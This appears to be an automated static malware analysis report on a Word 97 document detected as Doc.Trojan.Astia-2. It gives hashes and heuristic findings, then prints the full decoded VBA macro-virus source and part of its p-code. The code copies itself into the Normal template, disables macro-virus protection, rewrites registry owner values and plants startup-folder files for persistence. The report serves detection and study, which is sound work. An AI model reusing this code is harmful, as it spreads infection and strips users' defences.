Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef6bc92502fb32b9…

MALICIOUS

Office (OLE)

42.0 KB Created: 2001-07-04 14:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9deb092e4dd08ecb3f84dbafbf18c18a SHA-1: 412b6889b6108d24d590bb13d6916282c9935ea3 SHA-256: ef6bc92502fb32b9b6f3707efc3c957294af277c3b0b131e12bafccb8dd72f96
296 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document exhibits high-confidence indicators of malicious intent due to the presence of legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions. The ClamAV detection as 'Doc.Trojan.Astia-2' and the extracted artifact signature 'Win.Trojan.C-286' further confirm its malicious nature. The VBA script attempts to manipulate the Visual Basic editor and copy itself, suggesting an effort to establish persistence or prepare for further execution.

Heuristics 7

  • ClamAV: Doc.Trojan.Astia-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Astia-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        NT.DeleteLines 1, NT.CountOfLines
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If Dir(Application.StartupPath) <> "Jin.dot" And Dir(Application.StartupPath) <> "Jin.src" Then
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23783 bytes
SHA-256: 35d2186c254a748dfe022c2a6b1dfae39ce1afb11978e779b448226cb9dc64b6
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'>>-- J1nt0 -->
'@;-'-  I miss U  ;-)

Attribute VB_Name = "Pand4"
Function Pemakai()
With Application
    .UserName = "J1nt0"
    .UserInitials = "J1n"
    .UserAddress = "STM133PDG"
End With
End Function
Function CekMacro()
On Error Resume Next
    Application.ShowVisualBasicEditor = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    
    If NT.Lines(1, 1) <> "'>>-- J1nt0 -->" Then
    NT.DeleteLines 1, NT.CountOfLines
    NT.InsertLines 1, "'>>-- J1nt0 -->" & Chr(13) & _
                      "'@;-'-  I miss U  ;-)"
    End If

If AD.Lines(1, 1) <> "'>>-- J1nt0 -->" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, "'>>-- J1nt0 -->" & Chr(13) & _
                  "'@;-'-  I miss U  ;-)"
End If
    If ActiveDocument.VBProject.Name <> "J1nt0" Then
    ActiveDocument.VBProject.Name = "J1nt0"
    End If

Dim Doc As Boolean
Doc = False
    For Each Acd In ActiveDocument.VBProject.VBComponents
    If Acd.Name = "Pand4" And Acd.Name = "P4nd4" Then Doc = True
        If Acd.Name <> "Pand4" And Acd.Name <> "ThisDocument" And Acd.Name <> "P4nd4" Then
        Application.OrganizerDelete Source:=ActiveDocument.FullName, _
        Name:=Acd.Name, Object:=wdOrganizerObjectProjectItems: Beep
    End If
    Next Acd
    If Doc = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="Pand4", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
    Destination:=ActiveDocument, Name:="P4nd4", Object:=wdOrganizerObjectProjectItems
    End If

    Dim Nor As Boolean
    Nor = False
    For Each Ntl In NormalTemplate.VBProject.VBComponents
        If Ntl.Name = "Pand4" And Ntl.Name = "P4nd4" Then Nor = True
        If Ntl.Name <> "P4nd4" And Ntl.Name <> "Pand4" And Ntl.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Ntl.Name, Object:=wdOrganizerObjectProjectItems: Beep
        End If
    Next Ntl
    If Nor = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="Pand4", Object:=wdOrganizerObjectProjectItems
          Application.OrganizerCopy Source:=ActiveDocument.FullName, _
          Destination:=NormalTemplate.FullName, Name:="P4nd4", Object:=wdOrganizerObjectProjectItems
        NormalTemplate.Save
        Pemakai
    End If
End Function
Function Protect()
With Options
     .VirusProtection = False
     .SaveNormalPrompt = False
     .ConfirmConversions = False
End With
End Function
Sub FileOpen()
On Error GoTo Salah
   Protect
WT
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
    PandA
    ActiveDocument.Save
    End If
Salah:
End Sub
Sub AutoOpen()
On Error GoTo Salah
WT
   PandA
   ActiveDocument.Save
Salah:
End Sub
Sub AutoClose()
On Error GoTo Salah
  If ActiveDocument.Path <> "" And Left(ActiveDocument = "Document", 8) Then
  PandA
  ActiveDocument.Save
  End If
Salah:
End Sub
Sub FileClose()
AutoClose
ActiveDocument.Close
End Sub
Sub FileSave()
On Error GoTo Salah
  PandA
   If ActiveDocument.Saved = False Then ActiveDocument.Save
Salah:
End Sub
Function CekRegistri()
On Error GoTo Salah
Dim Src

If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") <> "PandA" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "PandA"
  System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "J1nt0 Here Now !, Sorry"
End If

Salah:
End Function
Sub ViewVbCode()
On Error Resume Next
SendKeys "%m%s{down}~%d 'Maaf yg merasa terganggu !?, By J1nt0.PD"
End Sub
Sub ToolsMacro()
  ViewVbCode
End Sub
Sub PandA()
Attribute PandA.VB_Description = "Macro created 15/01/00 by  Jun1aNT0.TK97"
On Error GoTo Gagal
Protect
CekRegistri
CekMacro
Gagal:
End Sub
Sub BukaEditor()
Dim Pesan
On Error Resume Next
Pesan = InputBox("Password Anda ...!?")
    If Pesan = "TK97" Then
    Application.ShowVisualBasicEditor = True
        Else
        MsgBox "Password anda salah", vbCritical + vbOKOnly, "Error"
        Application.Quit
        End If
End Sub
Sub FileTemplates()
  Dialogs(87).Display
End Sub
Function WT()
WordBasic.DisableAutoMacros True
End Function
Function WF()
WordBasic.DisableAutoMacros False
End Function
Sub FileExit()
On Error GoTo Gagal
WF
If Documents.Count <> 0 Then
 For i = 1 To Documents.Count
  Documents(i).Close
 Next i
End If
If Dir(Application.StartupPath) <> "Jin.dot" And Dir(Application.StartupPath) <> "Jin.src" Then
Application.Visible = False
Documents.Add
    With ActiveDocument
        .SaveAs FileName:=Application.StartupPath & "\Jin.src", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
        .SaveAs FileName:=Application.StartupPath & "\Jin.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False
    End With
End If

If Day(Now) = 28 Or Day(Now) = 12 Then
 P4nd4.Show
End If
WT
Application.Quit
Gagal:
WT
Application.Quit
End Sub
Sub AutoExit()
FileExit
End Sub
Sub AutoExec()
Attribute AutoExec.VB_Description = "For Some1.Isd, @;-'-  You will always in my heart "
On Error GoTo Salah
  Protect
  WordBasic.DisableAutoMacros True
  PandA
Salah:
'Assalamualaikum, Numpang lewat nih ...!
'Maaf buat Rekan-rekan yang merasa terganggu dengan keberadaan macro ini
End Sub

Attribute VB_Name = "P4nd4"
Attribute VB_Base = "0{6E7C1DEE-709A-11D5-BD50-005056C31397}{6E7C1DE7-709A-11D5-BD50-005056C31397}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False















































































Private Sub Label1_Click()
Love.Top = (Application.Height - 50)
Love.Left = 5
Love.Caption = "For some1 I Love U"
End Sub

Private Sub UserForm_Activate()
Application.Visible = False
BMP = Application.System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\Control Panel\Desktop", "Wallpaper")
Me.Picture = LoadPicture(BMP)
Me.Top = 0: Me.Left = 0
Me.Width = Application.Width - 5
Me.Height = Application.Height

Nama = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner")
If Nama <> "" Then
Me.Caption = "Thanx to " & Nama
End If

If Day(Now) = 12 Then
L2.Caption = "This is my day, Happy birthday ..."
ElseIf Day(Now) = 28 Then
L2.Caption = "This is our day, Let's Party ..."

End If
End Sub

Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
Application.Quit
End Sub

' Processing file: /tmp/qstore_1j1jdrcd
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1028 bytes
' Line #0:
' 	QuoteRem 0x0000 0x000E ">>-- J1nt0 -->"
' Line #1:
' 	QuoteRem 0x0000 0x0014 "@;-'-  I miss U  ;-)"
' Macros/VBA/Pand4 - 10161 bytes
' Line #0:
' 	FuncDefn (Function Pemakai())
' Line #1:
' 	StartWithExpr 
' 	Ld Application 
' 	With 
' Line #2:
' 	LitStr 0x0005 "J1nt0"
' 	MemStWith UserName 
' Line #3:
' 	LitStr 0x0003 "J1n"
' 	MemStWith UserInitials 
' Line #4:
' 	LitStr 0x0009 "STM133PDG"
' 	MemStWith UserAddress 
' Line #5:
' 	EndWith 
' Line #6:
' 	EndFunc 
' Line #7:
' 	FuncDefn (Function CekMacro())
' Line #8:
' 	OnError (Resume Next) 
' Line #9:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ShowVisualBasicEditor 
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NT 
' Line #11:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set AD 
' Line #12:
' Line #13:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x000F "'>>-- J1nt0 -->"
' 	Ne 
' 	IfBlock 
' Line #14:
' 	LitDI2 0x0001 
' 	Ld NT 
' 	MemLd CountOfLines 
' 	Ld NT 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #15:
' 	LineCont 0x0004 0C 00 16 00
' 	LitDI2 0x0001 
' 	LitStr 0x000F "'>>-- J1nt0 -->"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0015 "'@;-'-  I miss U  ;-)"
' 	Concat 
' 	Ld NT 
' 	ArgsMemCall InsertLines 0x0002 
' Line #16:
' 	EndIfBlock 
' Line #17:
' Line #18:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld AD 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x000F "'>>-- J1nt0 -->"
' 	Ne 
' 	IfBlock 
' Line #19:
' 	LitDI2 0x0001 
' 	Ld AD 
' 	MemLd CountOfLines 
' 	Ld AD 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #20:
' 	LineCont 0x0004 0C 00 12 00
' 	LitDI2 0x0001 
' 	LitStr 0x000F "'>>-- J1nt0 -->"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0015 "'@;-'-  I miss U  ;-)"
' 	Concat 
' 	Ld AD 
' 	ArgsMemCall InsertLines 0x0002 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd New 
' 	LitStr 0x0005 "J1nt0"
' 	Ne 
' 	IfBlock 
' Line #23:
' 	LitStr 0x0005 "J1nt0"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemSt New 
' Line #24:
' 	EndIfBlock 
' Line #25:
' Line #26:
' 	Dim 
' 	VarDefn Doc (As Boolean)
' Line #27:
' 	LitVarSpecial (False)
' 	St Doc 
' Line #28:
' 	StartForVariable 
' 	Ld Acd 
' 	EndForVariable 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #29:
' 	Ld Acd 
' 	MemLd New 
' 	LitStr 0x0005 "Pand4"
' 	Eq 
' 	Ld Acd 
' 	MemLd New 
' 	LitStr 0x0005 "P4nd4"
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Doc 
' 	EndIf 
' Line #30:
' 	Ld Acd 
' 	MemLd New 
' 	LitStr 0x0005 "Pand4"
' 	Ne 
' 	Ld Acd 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	And 
' 	Ld Acd 
' 	MemLd New 
' 	LitStr 0x0005 "P4nd4"
' 	Ne 
' 	And 
' 	IfBlock 
' Line #31:
' 	LineCont 0x0004 09 00 08 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld Acd 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' 	BoS 0x0000 
' 	ArgsCall Beep 0x0000 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	StartForVariable 
' 	Ld Acd 
' 	EndForVariable 
' 	NextVar 
' Line #34:
' 	Ld Doc 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #35:
' 	LineCont 0x0004 09 00 08 00
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	ParamNamed Destination 
' 	LitStr 0x0005 "Pand4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #36:
' 	LineCont 0x0004 09 00 04 00
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	ParamNamed Destination 
' 	LitStr 0x0005 "P4nd4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #37:
' 	EndIfBlock 
' Line #38:
' Line #39:
' 	Dim 
' 	VarDefn Nor (As Boolean)
' Line #40:
' 	LitVarSpecial (False)
' 	St Nor 
' Line #41:
' 	StartForVariable 
' 	Ld Ntl 
' 	EndForVariable 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #42:
' 	Ld Ntl 
' 	MemLd New 
' 	LitStr 0x0005 "Pand4"
' 	Eq 
' 	Ld Ntl 
' 	MemLd New 
' 	LitStr 0x0005 "P4nd4"
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Nor 
' 	EndIf 
' Line #43:
' 	Ld Ntl 
' 	MemLd New 
' 	LitStr 0x0005 "P4nd4"
' 	Ne 
' 	Ld Ntl 
' 	MemLd New 
' 	LitStr 0x0005 "Pand4"
' 	Ne 
' 	And 
' 	Ld Ntl 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	And 
' 	IfBlock 
' Line #44:
' 	LineCont 0x0004 09 00 0C 00
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld Ntl 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' 	BoS 0x0000 
' 	ArgsCall Beep 0x0000 
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	StartForVariable 
' 	Ld Ntl 
' 	EndForVariable 
' 	NextVar 
' Line #47:
' 	Ld Nor 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #48:
' 	LineCont 0x0004 09 00 08 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0005 "Pand4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #49:
' 	LineCont 0x0004 09 00 0A 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0005 "P4nd4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #50:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #51:
' 	ArgsCall Pemakai 0x0000 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	EndFunc 
' Line #54:
' 	FuncDefn (Function Protect())
' Line #55:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #56:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #57:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #58:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #59:
' 	EndWith 
' Line #60:
' 	EndFunc 
' Line #61:
' 	FuncDefn (Sub FileOpen())
' Line #62:
' 	OnError Salah 
' Line #63:
' 	ArgsCall Protect 0x0000 
' Line #64:
' 	ArgsCall WT 0x0000 
' Line #65:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	MemLd Show 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #66:
' 	ArgsCall PandA 0x0000 
' Line #67:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	Label Salah 
' Line #70:
' 	EndSub 
' Line #71:
' 	FuncDefn (Sub AutoOpen())
' Line #72:
' 	OnError Salah 
' Line #73:
' 	ArgsCall WT 0x0000 
' Line #74:
' 	ArgsCall PandA 0x0000 
' Line #75:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #76:
' 	Label Salah 
' Line #77:
' 	EndSub 
' Line #78:
' 	FuncDefn (Sub AutoClose())
' Line #79:
' 	OnError Salah 
' Line #80:
' 	Ld ActiveDocument 
' 	MemLd Path 
' 	LitStr 0x0000 ""
' 	Ne 
' 	Ld ActiveDocument 
' 	LitStr 0x0008 "Document"
' 	Eq 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	And 
' 	IfBlock 
' Line #81:
' 	ArgsCall PandA 0x0000 
' Line #82:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #83:
' 	EndIfBlock 
' Line #84:
' 	Label Salah 
' Line #85:
' 	EndSub 
' Line #86:
' 	FuncDefn (Sub FileClose())
' Line #87:
' 	ArgsCall AutoClose 0x0000 
' Line #88:
' 	Ld ActiveDocument 
' 	ArgsMemCall Close 0x0000 
' Line #89:
' 	EndSub 
' Line #90:
' 	FuncDefn (Sub FileSave())
' Line #91:
' 	OnError Salah 
' Line #92:
' 	ArgsCall PandA 0x0000 
' Line #93:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #94:
' 	Label Salah 
' Line #95:
' 	EndSub 
' Line #96:
' 	FuncDefn (Function CekRegistri())
' Line #97:
' 	OnError Salah 
' Line #98:
' 	Dim 
' 	VarDefn Src
' Line #99:
' Line #100:
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0005 "PandA"
' 	Ne 
' 	IfBlock 
' Line #101:
' 	LitStr 0x0005 "PandA"
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #102:
' 	LitStr 0x0017 "J1nt0 Here Now !, Sorry"
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x0016 "RegisteredOrganization"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #103:
' 	EndIfBlock 
' Line #104:
' Line #105:
' 	Label Salah 
' Line #106:
' 	EndFunc 
' Line #107:
' 	FuncDefn (Sub ViewVbCode())
' Line #108:
' 	OnError (Resume Next) 
' Line #109:
' 	LitStr 0x0037 "%m%s{down}~%d 'Maaf yg merasa terganggu !?, By J1nt0.PD"
' 	ArgsCall SendKeys 0x0001 
' Line #110:
' 	EndSub 
' Line #111:
' 	FuncDefn (Sub ToolsMacro())
' Line #112:
' 	ArgsCall ViewVbCode 0x0000 
' Line #113:
' 	EndSub 
' Line #114:
' 	FuncDefn (Sub PandA())
' Line #115:
' 	OnError Gagal 
' Line #116:
' 	ArgsCall Protect 0x0000 
' Line #117:
' 	ArgsCall CekRegistri 0x0000 
' Line #118:
' 	ArgsCall CekMacro 0x0000 
' Line #119:
' 	Label Gagal 
' Line #120:
' 	EndSub 
' Line #121:
' 	FuncDefn (Sub BukaEditor())
' Line #122:
' 	Dim 
' 	VarDefn Pesan
' Line #123:
' 	OnError (Resume Next) 
' Line #124:
' 	LitStr 0x0013 "Password Anda ...!?"
' 	ArgsLd InputBox 0x0001 
' 	St Pesan 
' Line #125:
' 	Ld Pesan 
' 	LitStr 0x0004 "TK97"
' 	Eq 
' 	IfBlock 
' Line #126:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ShowVisualBasicEditor 
' Line #127:
' 	ElseBlock 
' Line #128:
' 	LitStr 0x0013 "Password anda salah"
' 	Ld vbCritical 
' 	Ld vbOKOnly 
' 	Add 
' 	LitStr 0x0005 "Error"
' 	ArgsCall MsgBox 0x0003 
' Line #129:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #130:
' 	EndIfBlock 
' Line #131:
' 	EndSub 
' Line #132:
' 	FuncDefn (Sub FileTemplates())
' Line #133:
' 	LitDI2 0x0057 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Display 0x0000 
' Line #134:
' 	EndSub 
' Line #135:
' 	FuncDefn (Function WT())
' Line #136:
' 	LitVarSpecial (True)
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #137:
' 	EndFunc 
' Line #138:
' 	FuncDefn (Function WF())
' Line #139:
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #140:
' 	EndFunc 
' Line #141:
' 	FuncDefn (Sub FileExit())
' Line #142:
' 	OnError Gagal 
' Line #143:
' 	ArgsCall WF 0x0000 
' Line #144:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #145:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Documents 
' 	MemLd Count 
' 	For 
' Line #146:
' 	Ld i 
' 	ArgsLd Documents 0x0001 
' 	ArgsMemCall Close 0x0000 
' Line #147:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #148:
' 	EndIfBlock 
' Line #149:
' 	Ld Application 
' 	MemLd StartupPath 
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0007 "Jin.dot"
' 	Ne 
' 	Ld Application 
' 	MemLd StartupPath 
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0007 "Jin.src"
' 	Ne 
' 	And 
' 	IfBlock 
' Line #150:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt Visible 
' Line #151:
' 	Ld Documents 
' 	ArgsMemCall Add 0x0000 
' Line #152:
' 	StartWithExpr 
' 	Ld ActiveDocument 
' 	With 
' Line #153:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x0008 "\Jin.src"
' 	Concat 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	ArgsMemCallWith SaveAs 0x0003 
' Line #154:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x0008 "\Jin.dot"
' 	Concat 
' 	ParamNamed FileName 
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	ArgsMemCallWith SaveAs 0x0003 
' Line #155:
' 	EndWith 
' Line #156:
' 	EndIfBlock 
' Line #157:
' Line #158:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x001C 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000C 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #159:
' 	Ld P4nd4 
' 	ArgsMemCall Show 0x0000 
' Line #160:
' 	EndIfBlock 
' Line #161:
' 	ArgsCall WT 0x0000 
' Line #162:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #163:
' 	Label Gagal 
' Line #164:
' 	ArgsCall WT 0x0000 
' Line #165:
…